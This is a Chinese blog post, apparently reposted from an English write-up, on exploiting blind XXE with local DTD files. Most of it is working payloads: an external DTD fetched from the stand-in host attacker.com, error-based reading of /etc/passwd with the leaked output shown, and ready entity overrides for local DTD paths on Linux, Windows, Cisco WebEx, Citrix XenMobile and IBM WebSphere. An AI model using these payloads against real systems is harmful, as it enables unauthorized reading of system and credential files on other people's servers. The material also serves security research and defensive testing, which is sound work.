使用本地DTD文件进行XXE攻击

https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/

近年来XXE的阻碍

假设你有一个XXE漏洞,支持外部实体,但是服务响应总是一片空白,这时候你一般有两个选项:报错或者外带(OOB)。

报错的示例类似这样

请求

1
2
3
4
5
6
<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % ext SYSTEM "http://attacker.com/ext.dtd">
%ext;
]>
<message></message>

ext.dtd

1
2
3
4
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

响应

1
2
3
4
5
6
java.io.FileNotFoundException: /nonexistent/
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/usr/bin/nologin
daemon:x:2:2:daemon:/:/usr/bin/nologin

(No such file or directory)

看吧,这样就可以通过报错来获取文件了,但是如果有防火墙,可能就获取不到了。

如果我们把外部DTD直接插入呢,我们可能会看到类似这样的错误

请求

1
2
3
4
5
6
7
8
<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
]>
<message></message>

响应

1
2
Internal Error: SAX Parser Error. Detail:
The parameter entity reference “%file;” cannot occur within markup in the internal subset of the DTD.

我们可以看到,可以通过外部DTD包含一个实体,但是不能直接写在DTD文档的内部

如何使用内部DTD

根据上面的信息,我们如果要利用本地文件,就需要使用外部DTD,那么换个思路,我们可以在目标主机上想办法获取一些DTD文件,并覆盖这些DTD文件中的变量,像这样

请求

1
2
3
4
5
6
7
8
9
10
11
12
13

<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd">
<!ENTITY % condition 'aaa)>
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
<!ELEMENT aa (bb'>
%local_dtd;
]>
<message>any text</message>

sip-app_1_0.dtd

1
2
<!ENTITY % condition "and | or | not | equal | contains | exists | subdomain-of">
<!ELEMENT pattern (%condition;)>

响应

1
2
3
4
5
6
java.io.FileNotFoundException: /nonexistent/
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/usr/bin/nologin
daemon:x:2:2:daemon:/:/usr/bin/nologin

(No such file or directory)

攻击成功是因为所有的XML实体都是常量,如果你定义了两个名字一样的实体,那么只有第一个会被使用。

如何寻找本地DTD文件

最快的方法是目录遍历。

在不同系统上的示例

下面是一些利用示例

Linux System

1
2
3
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamsa 'Your DTD code'>
%local_dtd;

Windows System

1
2
3
<!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd">
<!ENTITY % SuperClass '>Your DTD code<!ENTITY test "test"'>
%local_dtd;

Cisco WebEx

1
2
3
<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd">
<!ENTITY % url.attribute.set '>Your DTD code<!ENTITY test "test"'>
%local_dtd;

Citrix XenMobile Server

1
2
3
<!ENTITY % local_dtd SYSTEM "jar:file:///opt/sas/sw/tomcat/shared/lib/jsp-api.jar!/javax/servlet/jsp/resources/jspxml.dtd">
<!ENTITY % Body '>Your DTD code<!ENTITY test "test"'>
%local_dtd;

Custom Multi-Platform IBM WebSphere Application

1
2
3
4
5
6
7
8
9
10
11
<!ENTITY % local_dtd SYSTEM "./../../properties/schemas/j2ee/XMLSchema.dtd">
<!ENTITY % xs-datatypes 'Your DTD code'>
<!ENTITY % simpleType "a">
<!ENTITY % restriction "b">
<!ENTITY % boolean "(c)">
<!ENTITY % URIref "CDATA">
<!ENTITY % XPathExpr "CDATA">
<!ENTITY % QName "NMTOKEN">
<!ENTITY % NCName "NMTOKEN">
<!ENTITY % nonNegativeInteger "NMTOKEN">
%local_dtd;

时间线

  • 01/01/2016 — 发现这个技巧
  • 12/12/2018 — 写下这篇文章 :D
  • 13/12/2018 — 文章完整发布
文章作者: 期末考第一名
文章链接: https://hundan.org/2019-11-13-使用本地DTD文件进行XXE攻击.html
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 期末日记